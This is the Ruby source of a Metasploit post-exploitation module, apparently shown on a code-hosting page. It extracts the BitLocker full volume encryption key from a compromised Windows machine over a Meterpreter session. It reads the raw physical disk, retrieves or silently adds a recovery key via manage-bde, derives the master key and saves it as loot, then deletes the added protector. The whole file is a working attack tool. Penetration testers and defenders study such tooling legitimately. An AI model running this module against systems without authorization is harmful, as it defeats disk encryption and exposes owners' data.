Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/bitlocker_fvek.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Windows::Error8include Msf::Post::Windows::FileInfo9include Msf::Post::File1011ERROR = Msf::Post::Windows::Error1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Bitlocker Master Key (FVEK) Extraction',18'Description' => %q{19This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally20or can be generated, dump the Bitlocker master key (FVEK)21},22'License' => 'MSF_LICENSE',23'Platform' => ['win'],24'SessionTypes' => ['meterpreter'],25'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz26'References' => [27['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'],28['URL', 'http://www.hsc.fr/ressources/outils/dislocker/']29],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_railgun_api34stdapi_sys_config_getenv35]36}37}38)39)4041register_options(42[43OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]),44OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil])45]46)47end4849def run50file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'51major, minor, _build, _revision, _branch = file_version(file_path)52winver = (major.to_s + '.' + minor.to_s).to_f5354fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 655fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?5657drive_letter = datastore['DRIVE_LETTER']58system_root = expand_path('%SYSTEMROOT%')5960cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition")6162@starting_offset = cmd_out.match(/StartingOffset=(\d+)/)[1].to_i6364drive_number = cmd_out.match(/DiskIndex=(\d+)/)[1]6566r = client.railgun.kernel32.CreateFileW("\\\\.\\PhysicalDrive#{drive_number}",67'GENERIC_READ',68'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',69nil,70'OPEN_EXISTING',71'FILE_FLAG_WRITE_THROUGH',720)7374if r['GetLastError'] != ERROR::SUCCESS75fail_with(Failure::Unknown,76"Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}77- #{r['ErrorMessage']}")78end7980@handle = r['return']81print_good("Successfully opened Disk #{drive_number}")82seek(0)8384if !datastore['RECOVERY_KEY'].nil?85print_status('Using provided recovery key')86recovery_key = datastore['RECOVERY_KEY']87else88print_status('Trying to gather a recovery key')8990manage_bde = "#{system_root}\\system32\\manage-bde.exe"91unless exist?(manage_bde)92manage_bde = "#{system_root}\\sysnative\\manage-bde.exe"93unless exist?(manage_bde)94fail_with(Failure::Unknown, 'manage-bde.exe not found')95end96end9798cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:")99100recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)101102if !recovery_key.nil?103recovery_key = recovery_key[1]104print_good("Recovery key found : #{recovery_key}")105else106print_status('No recovery key found, trying to generate a new recovery key')107cmd_out = cmd_exec(manage_bde,108"-protectors -add #{drive_letter}: -RecoveryPassword")109recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)110id_key_tmp = cmd_out.match(/(\{[^}]+\})/)111if !recovery_key.nil?112recovery_key = recovery_key[1]113id_key_tmp = id_key_tmp[1]114print_good("Recovery key generated successfully : #{recovery_key}")115else116print_error('Recovery Key generation failed')117print_status('No recovery key can be used')118return119end120end121end122123begin124@bytes_read = 0125fs = Rex::Parser::BITLOCKER.new(self)126print_status('The recovery key derivation usually take 20 seconds...')127fvek = fs.fvek_from_recovery_password_dislocker(recovery_key)128if !fvek.blank?129stored_path = store_loot('windows.file', 'application/octet-stream',130session, fvek)131print_good("Successfuly extract FVEK in #{stored_path}")132print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')133else134print_error('Failed to generate FVEK, wrong recovery key?')135end136ensure137unless id_key_tmp.nil?138print_status('Deleting temporary recovery key')139cmd_exec(manage_bde,140"-protectors -delete #{drive_letter}: -id #{id_key_tmp}")141end142client.railgun.kernel32.CloseHandle(@handle)143end144print_status('Post Successful')145end146147def read(size)148client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']149end150151def seek(offset)152offset += @starting_offset153high_offset = offset >> 32154low_offset = offset & (2**33 - 1)155client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)156end157end158159160